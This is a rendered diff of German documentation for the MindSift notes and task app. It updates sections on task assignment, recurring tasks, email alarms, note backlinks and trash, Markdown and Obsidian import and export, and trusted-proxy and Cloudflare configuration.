- Gruppenmitglieder mit mehreren Wegen erhalten die höchste Stufe. Nur der Eigentümer legt Freigaben an oder entfernt sie und kann die Liste löschen.
|
- Gruppenmitglieder mit mehreren Wegen erhalten die höchste Stufe. Nur der Eigentümer legt Freigaben an oder entfernt sie und kann die Liste löschen.
|
||||||
- Umsetzung: `Store.GetTaskListPermission` liefert `owner`/`editor`/`viewer`/`""`; `ensureTaskListWritable` schützt Schreibpfade.
|
- Umsetzung: `Store.GetTaskListPermission` liefert `owner`/`editor`/`viewer`/`""`; `ensureTaskListWritable` schützt Schreibpfade.
|
||||||
- Bekannte Lücken: [FLAW-03](../flaws.md) (Umsortieren per ID), [FLAW-06](../flaws.md) (Editor kann weiterteilen).
|
- **Zuweisen** (nur in geteilten Listen, also mit mindestens einer Person außer dem Eigentümer): Im Detail-Fenster unter „Zugewiesen“ lassen sich eine oder mehrere Personen mit Zugriff auf die Liste zuweisen, über die einheitliche Personensuche ([ui-patterns.md](../ui-patterns.md)). Zuweisen dürfen Eigentümer und Bearbeiter. Zeilen und Kanban-Karten zeigen die Zugewiesenen als Profilbild-Stapel.
|
||||||
|
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
|
||||||
|
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
|
||||||
|
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||||
|
- Bekannte Lücke: (Umsortieren per ID).
|
||||||
|
|
||||||
|
## Wiederkehrende Aufgaben
|
||||||
|
|
||||||
|
- Im Detail-Fenster unter der Fälligkeit: *Keine Wiederholung*, täglich, wöchentlich, monatlich oder jährlich (`thoughts.recurrence`, `PATCH /thoughts/{id}` mit `recurrence`). Zeilen und Kanban-Karten zeigen dann ein 🔁-Symbol.
|
||||||
|
- **Abhaken erzeugt die nächste Aufgabe** ([recurrence.go](../../internal/storage/recurrence.go)): egal ob im Detail, in der Liste, per Ziehen in „Erledigt“ im Kanban oder über die Checkbox in einer Notiz. Die erledigte Aufgabe bleibt erledigt (Historie); die neue übernimmt Titel, Tags, Priorität, Notizen, Liste, Zuweisungen und die Regel, Unteraufgaben kommen unerledigt mit, sie steht in der ersten offenen Spalte.
|
||||||
|
- **Fälligkeit:** das bisherige Datum plus ein Intervall (ohne Datum ab heute); eine Uhrzeit bleibt erhalten. Monate und Jahre behalten den Tag oder rutschen auf das Monatsende (31.1. → 28./29.2.).
|
||||||
|
- Jede Aufgabe erzeugt höchstens eine Nachfolgerin (`recurrence_spawned`): Wieder öffnen und erneut abhaken legt keine zweite an.
|
||||||
|
- Die neue Aufgabe geht per `TASK_CREATED` an alle Beteiligten, sie erscheint ohne Neuladen.
|
||||||
|
- Export/Import: im Markdown-Archiv als `🔁 every week` (Format des Obsidian-Tasks-Plugins), im JSON-Backup als Feld; beides wird beim Import wiederhergestellt.
|
||||||
|
|
||||||
## Alarme
|
## Alarme
|
||||||
|
|
||||||
Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offene Aufgaben mit `due_date <= heute` und `alarm_sent = 0` sendet er an die Kanäle des Aufgaben-**Eigentümers**:
|
Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offene Aufgaben mit `alarm_sent = 0` sendet er, sobald der Alarmzeitpunkt erreicht ist (Uhrzeit der Fälligkeit, ganztägig 9:00, jeweils minus `notifyBeforeMinutes`, Zeitzone `TZ`), an die Kanäle des Aufgaben-**Eigentümers**:
|
||||||
|
|
||||||
| Kanal | Ziel | Konfiguration |
|
| Kanal | Ziel | Konfiguration |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| E-Mail | `alarmEmail` (sonst Konto-Adresse) | SMTP aus Admin-Einstellungen oder Umgebung (Port 465 mit TLS wird direkt unterstützt, sonst STARTTLS über `smtp.SendMail`) |
|
| E-Mail | `alarmEmail` (sonst Konto-Adresse) | SMTP aus Admin-Einstellungen oder Umgebung, siehe unten |
|
||||||
| Discord | Webhook-URL | Benutzereinstellungen |
|
| Discord | Webhook-URL | Benutzereinstellungen |
|
||||||
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
|
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
|
||||||
|
|
||||||
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war.
|
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war.
|
||||||
|
|
||||||
Einschränkungen ([FLAW-12](../flaws.md)): Fälligkeiten haben keine Uhrzeit, `notifyBeforeMinutes` wird ignoriert, die Serverzeit gilt, und ein verschobener Termin löst nicht erneut aus. URLs werden nicht geprüft ([FLAW-05](../flaws.md)).
|
**E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt:
|
||||||
|
|
||||||
|
- Verbindung (Port 465: TLS von Anfang an), `EHLO` mit der Domain der Absenderadresse (nie `localhost`, das lehnen strenge Server ab), bei `SMTP_TLS` Pflicht-STARTTLS, Anmeldung, `MAIL FROM`, `RCPT TO`, Daten.
|
||||||
|
- Anmeldung: `AUTH PLAIN`; bietet der Server nur `LOGIN` an, direkt `AUTH LOGIN`. Lehnt er PLAIN ab und bietet auch LOGIN an, baut MindSift die Verbindung neu auf und versucht `AUTH LOGIN` (Go schließt die Verbindung nach einem gescheiterten AUTH). Scheitern beide mit `451`, nennt die Meldung beide Versuche und verweist auf das SASL-Backend des Mailservers (z. B. Dovecot-Auth), denn dann liegt der Fehler dort. Nie unverschlüsselt an fremde Hosts.
|
||||||
|
- `SMTP_FROM` darf einen Namen enthalten (`MindSift <alarm@domain>`): im Umschlag steht nur die Adresse, im Header Name und Adresse.
|
||||||
|
- Die Nachricht hat `Date` und `Message-ID`, einen nach RFC 2047 kodierten Betreff (Umlaute, Emoji) und einen Quoted-Printable-Text.
|
||||||
|
- `SMTP_SKIP_VERIFY` / Schalter „Zertifikatsprüfung deaktivieren“ akzeptiert selbstsignierte Zertifikate (Verbindung bleibt verschlüsselt).
|
||||||
|
- Fehler nennen den Schritt, an dem der Server abgelehnt hat (z. B. `SMTP-Schritt RCPT TO fehlgeschlagen: 451 …`), im Log als `smtp_step`. Test: `internal/api/mail_test.go` mit einem Fake-Server (STARTTLS, 451).
|
||||||
|
|
||||||
|
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche. URLs werden geprüft.
|
||||||
|
|
||||||
|
Die Oberfläche zeigt Fälligkeiten relativ („Heute, 14:30“, „Morgen“, „Fr., 30.10.“); überfällige offene Aufgaben (mit Uhrzeit minutengenau) sind rot. Gruppieren und Sortieren nach Fälligkeit berücksichtigen die Uhrzeit, ganztägige Aufgaben stehen vor denen mit Uhrzeit am selben Tag.
|
||||||
@@ -6,6 +6,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
|
|
||||||
- Eine Notiz ist ein Datensatz in `documents` plus ein Baum von Blöcken in `blocks` (`parent_id`, Sortierschlüssel `order_key`). Jede Änderung läuft über `internal/collab` und wird im Log `doc_ops` festgehalten. Ebene und Position für die Oberfläche berechnet der Server beim Lesen. Das Log und gelöschte Blöcke werden regelmäßig verdichtet ([database.md](../database.md#verdichtung-des-notiz-logs)). Alles liegt in SQLite; es gibt keine Dateien auf der Platte.
|
- Eine Notiz ist ein Datensatz in `documents` plus ein Baum von Blöcken in `blocks` (`parent_id`, Sortierschlüssel `order_key`). Jede Änderung läuft über `internal/collab` und wird im Log `doc_ops` festgehalten. Ebene und Position für die Oberfläche berechnet der Server beim Lesen. Das Log und gelöschte Blöcke werden regelmäßig verdichtet ([database.md](../database.md#verdichtung-des-notiz-logs)). Alles liegt in SQLite; es gibt keine Dateien auf der Platte.
|
||||||
- Bei jeder Änderung wird `documents.markdown_cache` neu erzeugt; `block_tags` wird aus `#Hashtags` der Blöcke neu aufgebaut.
|
- Bei jeder Änderung wird `documents.markdown_cache` neu erzeugt; `block_tags` wird aus `#Hashtags` der Blöcke neu aufgebaut.
|
||||||
|
- **Hashtag-Regel:** `#wort` zählt nur am Textanfang oder nach Leerzeichen bzw. `(`. Anker in Links (`example.com/blog#ueberschrift`) und Wörter wie `C#` sind keine Tags. Gleiche Regel im Server (`domain.ExtractTags`) und im Browser (`lib/hashtags.ts`). Beim ersten Start nach der Umstellung entfernt `migrateAnchorTags` einmalig gespeicherte Tags, die nur aus Ankern stammten.
|
||||||
- Der Export als `.md` erfolgt im Browser (Button im Editor, Blob-Download).
|
- Der Export als `.md` erfolgt im Browser (Button im Editor, Blob-Download).
|
||||||
- Blocktypen: Überschriften `h1`–`h3`, `paragraph`/`text`, `bullet`, `todo`, `code`, `callout`, `divider`, `table`, `progress`.
|
- Blocktypen: Überschriften `h1`–`h3`, `paragraph`/`text`, `bullet`, `todo`, `code`, `callout`, `divider`, `table`, `progress`.
|
||||||
|
|
||||||
@@ -15,6 +16,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
|
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
|
||||||
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
|
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
|
||||||
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
|
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
|
||||||
|
- **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
|
||||||
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
|
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
|
||||||
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
|
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
|
||||||
- **Speichern:** Jede Notiz hat im Browser eine `DocSyncEngine` ([lib/docSync/](../../frontend/src/lib/docSync/)). Der Editor meldet jede Änderung der Block-Liste; die Engine übersetzt sie in Operationen, speichert sie zuerst in IndexedDB und sendet sie dann gesammelt (300 ms) an `POST /docs/{id}/sync`. Beim Öffnen zeigt sie sofort den gespeicherten Stand, auch offline.
|
- **Speichern:** Jede Notiz hat im Browser eine `DocSyncEngine` ([lib/docSync/](../../frontend/src/lib/docSync/)). Der Editor meldet jede Änderung der Block-Liste; die Engine übersetzt sie in Operationen, speichert sie zuerst in IndexedDB und sendet sie dann gesammelt (300 ms) an `POST /docs/{id}/sync`. Beim Öffnen zeigt sie sofort den gespeicherten Stand, auch offline.
|
||||||
@@ -31,6 +33,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
- **Konfliktkopien** sind farbig markiert („Konflikt – Version von …“) mit „Übernehmen“ (Text ersetzt den ursprünglichen Punkt bzw. den Titel, die Kopie verschwindet) und „Verwerfen“.
|
- **Konfliktkopien** sind farbig markiert („Konflikt – Version von …“) mit „Übernehmen“ (Text ersetzt den ursprünglichen Punkt bzw. den Titel, die Kopie verschwindet) und „Verwerfen“.
|
||||||
- **Rückgängig:** `Strg+Z`/`Cmd+Z` nimmt die eigene letzte Änderung zurück, `Strg+Umschalt+Z` oder `Strg+Y` wiederholt (auch im Titel und über das Kontextmenü/mobile Tastaturen). Tippen im selben Punkt bis 1 s Pause ist ein Schritt; bis zu 200 Schritte je Tab. Hat jemand anderes den Punkt inzwischen geändert oder hält ihn gesperrt, wird der Schritt mit Hinweis übersprungen.
|
- **Rückgängig:** `Strg+Z`/`Cmd+Z` nimmt die eigene letzte Änderung zurück, `Strg+Umschalt+Z` oder `Strg+Y` wiederholt (auch im Titel und über das Kontextmenü/mobile Tastaturen). Tippen im selben Punkt bis 1 s Pause ist ein Schritt; bis zu 200 Schritte je Tab. Hat jemand anderes den Punkt inzwischen geändert oder hält ihn gesperrt, wird der Schritt mit Hinweis übersprungen.
|
||||||
- `PUT /documents/{id}` ändert nur noch Symbol, Anheften und Ordner (Titel wird ins Log übernommen); Inhalte laufen ausschließlich über die Engine. Das To-Do-Rollup hakt per einzelner Operation über denselben Sync-Endpunkt ab.
|
- `PUT /documents/{id}` ändert nur noch Symbol, Anheften und Ordner (Titel wird ins Log übernommen); Inhalte laufen ausschließlich über die Engine. Das To-Do-Rollup hakt per einzelner Operation über denselben Sync-Endpunkt ab.
|
||||||
|
- **Notiz-Icon (Emoji-Picker):** Vollständiger Emoji-Katalog mit Kategoriereitern, Suche, Verlauf zuletzt verwendeter Symbole (`localStorage`) und dynamischer Theme-Anpassung. Auf Mobilgeräten (< 640 px) als Bottom-Sheet mit touch-freundlichen Zielen (≥ 44 px) und `text-base`-Suchfeld (verhindert iOS-Zoom).
|
||||||
|
|
||||||
## Explorer, Tags, To-Dos
|
## Explorer, Tags, To-Dos
|
||||||
|
|
||||||
@@ -39,9 +42,16 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
- **To-Do-Rollup:** Die Ansicht „To-Dos“ sammelt alle `todo`-Blöcke aller Notizen, filterbar nach Ordner. Abhaken im Rollup ändert den Block in der Notiz.
|
- **To-Do-Rollup:** Die Ansicht „To-Dos“ sammelt alle `todo`-Blöcke aller Notizen, filterbar nach Ordner. Abhaken im Rollup ändert den Block in der Notiz.
|
||||||
- **Enhanced Tasks:** Ein `todo`-Block lässt sich als verknüpfte Aufgabe führen (`/documents/{id}/blocks/{blockId}/enhanced-task`); Erledigt-Status bleibt zwischen Notiz und Aufgabenansicht synchron.
|
- **Enhanced Tasks:** Ein `todo`-Block lässt sich als verknüpfte Aufgabe führen (`/documents/{id}/blocks/{blockId}/enhanced-task`); Erledigt-Status bleibt zwischen Notiz und Aufgabenansicht synchron.
|
||||||
|
|
||||||
|
## Papierkorb
|
||||||
|
|
||||||
|
- Löschen (einzeln oder mit dem Ordner) verschiebt eigene Notizen in den Papierkorb (`is_archived = 1`). Wer eine geteilte Notiz löscht, die ihm nicht gehört, verlässt nur die Freigabe.
|
||||||
|
- Notizen im Papierkorb fehlen im Baum, in Suche, Export und Statistik und sind für alle Empfänger unsichtbar (`DocRole` = keine Rolle). Eigentümer und Löschende sehen sie schreibgeschützt mit Hinweisleiste und „Wiederherstellen“; Umbenennen, Verschieben und Teilen werden abgelehnt.
|
||||||
|
- Eintrag „Papierkorb“ mit Zähler unten in der Ordnerleiste und im mobilen Menü. Die Liste zeigt Ordner und Löschzeitpunkt; „Endgültig löschen“ und „Papierkorb leeren“ brauchen einen zweiten Tipp.
|
||||||
|
- Wiederherstellen legt einen inzwischen gelöschten Ordner neu an; existiert ein geteilter Ordner nicht mehr, landet die Notiz auf der Hauptebene. Freigaben bleiben erhalten. Der Papierkorb leert sich nicht von selbst.
|
||||||
|
|
||||||
## Freigabe
|
## Freigabe
|
||||||
|
|
||||||
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md), [FLAW-17](../flaws.md)).
|
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||||
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
|
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
|
||||||
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
|
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
|
||||||
|
|
||||||
@@ -49,4 +59,29 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
|
|
||||||
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
|
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
|
||||||
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
|
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
|
||||||
- Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen ([FLAW-18](../flaws.md)).
|
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
|
||||||
|
|
||||||
|
## Export als Markdown-Archiv
|
||||||
|
|
||||||
|
Kontoeinstellungen → Private Webhooks & Export → „Markdown-Archiv herunterladen“ (`GET /export/markdown`, Code: [export_markdown.go](../../internal/storage/export_markdown.go)).
|
||||||
|
|
||||||
|
- Ordner und Notizen so, wie der Nutzer sie sieht (eigene Ordner, eingehängte geteilte Ordner, mit ihm geteilte Notizen); leere Ordner bleiben erhalten.
|
||||||
|
- Jede Notiz: YAML-Frontmatter (`title`, `icon`, `tags`, `created_at`, `updated_at`) und Markdown, das Obsidian direkt darstellt: Überschriften, Trenner, Hinweisboxen (`> [!note]`) und Codeblöcke der obersten Ebene als echte Blöcke, ihre Kinder rücken eine Ebene nach vorn; alles andere als Liste mit einem Tab pro Ebene, To-dos als `- [ ]`.
|
||||||
|
- Dateinamen werden für alle Betriebssysteme bereinigt (keine `/ \ : * ? " < > |`, nie `.`/`..`); doppelte Titel bekommen „ (2)“.
|
||||||
|
- Das ZIP wird beim Lesen der Daten direkt in die Antwort geschrieben, ohne temporäre Dateien.
|
||||||
|
|
||||||
|
## Import
|
||||||
|
|
||||||
|
Kontoeinstellungen → Private Webhooks & Export → „Daten importieren“, mit **zwei getrennten Wegen** (Code: [import_markdown.go](../../internal/storage/import_markdown.go), [ImportCard.tsx](../../frontend/src/features/settings/ImportCard.tsx)):
|
||||||
|
|
||||||
|
| Weg | Endpunkt | Dateien | Ergebnis |
|
||||||
|
|---|---|---|---|
|
||||||
|
| MindSift-Daten | `POST /import/mindsift` | Backup-ZIP oder JSON (`/export`) oder Markdown-Archiv (`/export/markdown`), das Format wird erkannt | Notizen in ihre Ordner, Aufgabenlisten mit Unteraufgaben, Fälligkeit, Priorität und Notizen, Listen mit Menge, Kategorie und Erledigt-Status, beim JSON-Backup auch die Gedanken der Triage. Fremde, nur mit dem Exporteur geteilte Inhalte im JSON werden übersprungen. |
|
||||||
|
| Obsidian-Vault | `POST /import/obsidian` | ZIP eines Vaults | Alles in einen neuen Ordner mit dem Namen des Vaults, Unterordner bleiben. Checkboxen bleiben Checkboxen, Frontmatter-Tags werden zu `#Hashtags`, Callouts zu Hinweisboxen, Wikilinks bleiben `[[…]]`. Versteckte Ordner (`.obsidian`, `.trash`) werden ignoriert, Anhänge übersprungen. |
|
||||||
|
|
||||||
|
- **Vorschau:** Die Oberfläche lädt die Datei zuerst mit `?preview=1` hoch. Der Server liest und prüft alles und meldet, was angelegt würde (inkl. übersprungener Dateien mit Grund), schreibt aber nichts. Erst „Jetzt importieren“ legt an.
|
||||||
|
- **Hinzufügen oder Wiederherstellen** (nur MindSift-Daten): „Hinzufügen“ legt nur neu an, Bestehendes bleibt unverändert. „Wiederherstellen“ (`?mode=restore`, in der Oberfläche nur nach bestätigtem Warnhinweis) löscht vorher alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen – erst nachdem die Datei vollständig gelesen und geprüft ist, eine kaputte Datei löscht also nichts. Mit dem Nutzer geteilte Inhalte anderer bleiben. Ein Obsidian-Import fügt immer hinzu.
|
||||||
|
- **Markdown → Notiz:** Listen behalten ihre Verschachtelung (Tabs oder Leerzeichen), Inhalte unter einer Überschrift werden darunter eingerückt (Gegenstück zum Export), Absätze werden zu Punkten, Codeblöcke zu Codeblöcken.
|
||||||
|
- **Grenzen:** Upload max. 100 MB, eine Notiz max. 10 MB, entpackt zusammen max. 500 MB, höchstens 20 000 Dateien. Pfade mit `..` oder absolute Pfade werden entschärft und bleiben im Zielordner.
|
||||||
|
- Bricht ein Import wegen eines Fehlers ab, bleibt das bis dahin Angelegte erhalten; die Meldung nennt das Element, an dem es scheiterte.
|
||||||
|
|
||||||
@@ -11,6 +11,20 @@ Dieses Dokument beschreibt die empfohlene Konfiguration von Reverse-Proxies und
|
|||||||
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
|
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
|
||||||
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
|
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
|
||||||
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
|
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
|
||||||
|
| **Client-IP** | – | `X-Real-IP` / `X-Forwarded-For` | Login-Sperre nach Fehlversuchen trifft den richtigen Absender |
|
||||||
|
|
||||||
|
### Client-IP und `TRUSTED_PROXIES`
|
||||||
|
|
||||||
|
MindSift sperrt Anmeldungen nach Fehlversuchen auch pro IP-Adresse. Hinter einem Proxy kommt jede Verbindung vom Proxy; die echte Adresse steht in `X-Forwarded-For` bzw. `X-Real-IP`. MindSift glaubt diesen Kopfzeilen nur, wenn die Verbindung von einem vertrauenswürdigen Proxy kommt, sonst könnte jeder, der den Port direkt erreicht, eine beliebige Adresse vortäuschen.
|
||||||
|
|
||||||
|
| `TRUSTED_PROXIES` | Wirkung |
|
||||||
|
|---|---|
|
||||||
|
| `private` (Standard) | Proxys aus localhost, Docker- und Heimnetzen (`10.x`, `172.16–31.x`, `192.168.x`, `fd…`, `100.64.x`). Passt für Proxy im selben Docker-Netz oder auf demselben Host – nichts einzustellen. |
|
||||||
|
| `private,198.51.100.0/24` | zusätzlich eigene Bereiche, z. B. ein externer Proxy-Server oder die [IP-Bereiche von Cloudflare](https://www.cloudflare.com/ips/) |
|
||||||
|
| `all` | Kopfzeilen immer glauben (früheres Verhalten) – Notausgang, wenn die Erkennung Probleme macht |
|
||||||
|
| `none` | Kopfzeilen nie glauben |
|
||||||
|
|
||||||
|
Schickt ein vertrauenswürdiger Proxy gar keine Client-IP mit, steht einmal eine Warnung im Log, und für diese Anfragen gilt nur noch die Sperre pro Konto. Die ganze Login-Sperre lässt sich mit `LOGIN_PROTECTION=false` abschalten.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -151,7 +165,8 @@ Wird MindSift hinter dem Cloudflare CDN betrieben:
|
|||||||
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
|
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
|
||||||
3. **Cloudflare WAF / Bot Fight Mode:**
|
3. **Cloudflare WAF / Bot Fight Mode:**
|
||||||
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
|
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
|
||||||
4. **SSE-Unterstützung:**
|
4. **Client-IP:** Cloudflare liefert die Besucheradresse in `CF-Connecting-IP`/`X-Forwarded-For`. Spricht Cloudflare MindSift direkt an (ohne eigenen Proxy dazwischen), die Cloudflare-Bereiche in `TRUSTED_PROXIES` ergänzen.
|
||||||
|
5. **SSE-Unterstützung:**
|
||||||
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
|
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -221,7 +236,8 @@ curl -i -N \
|
|||||||
-H "Origin: https://mindsift.example.com" \
|
-H "Origin: https://mindsift.example.com" \
|
||||||
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
|
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
|
||||||
-H "Sec-WebSocket-Version: 13" \
|
-H "Sec-WebSocket-Version: 13" \
|
||||||
https://mindsift.example.com/api/v1/ws?token=<DEIN_TOKEN>
|
-H "Authorization: Bearer <DEIN_TOKEN>" \
|
||||||
|
https://mindsift.example.com/api/v1/ws
|
||||||
```
|
```
|
||||||
*Erwartete Antwort:* `101 Switching Protocols`
|
*Erwartete Antwort:* `101 Switching Protocols`
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,8 @@
|
|||||||
|
|
||||||
| Ebene | Werte | Bedeutung |
|
| Ebene | Werte | Bedeutung |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| Server | `admin`, `member` | Admins verwalten Benutzer, Einladungen und Einstellungen (`/admin/*`). |
|
| Server | `admin`, `member` | Admins verwalten Benutzer, Organisationen, Einladungen und Einstellungen (`/admin/*`). |
|
||||||
|
| Organisation | Mitglied | Bestimmt, wer wen sieht (siehe unten). Nur Server-Admins ordnen zu. |
|
||||||
| Gruppe | `admin`, `member` | Gruppen-Admins ändern/löschen die Gruppe und verwalten Mitglieder. Wer eine Gruppe anlegt, wird Admin. |
|
| Gruppe | `admin`, `member` | Gruppen-Admins ändern/löschen die Gruppe und verwalten Mitglieder. Wer eine Gruppe anlegt, wird Admin. |
|
||||||
| Ressource | siehe unten | Eigentümer, Bearbeiter, Leser. |
|
| Ressource | siehe unten | Eigentümer, Bearbeiter, Leser. |
|
||||||
|
|
||||||
@@ -20,7 +21,7 @@
|
|||||||
- **Notizen und Ordner:** Die effektive Rolle berechnet `Store.DocRole` (Eigentümer, Eigentümer des geteilten Ordners = Bearbeiter, direkte Freigabe, Gruppenfreigabe, Ordnerfreigabe; höchste gewinnt). Im Freigabe-Dialog sind für Notizen und geteilte Ordner „Bearbeiten“ und „Nur Lesen“ wählbar (gespeichert als `write`/`read`). Bearbeiter ändern Inhalt, Struktur und Titel über die Sync-Engine; Leser sehen Änderungen live.
|
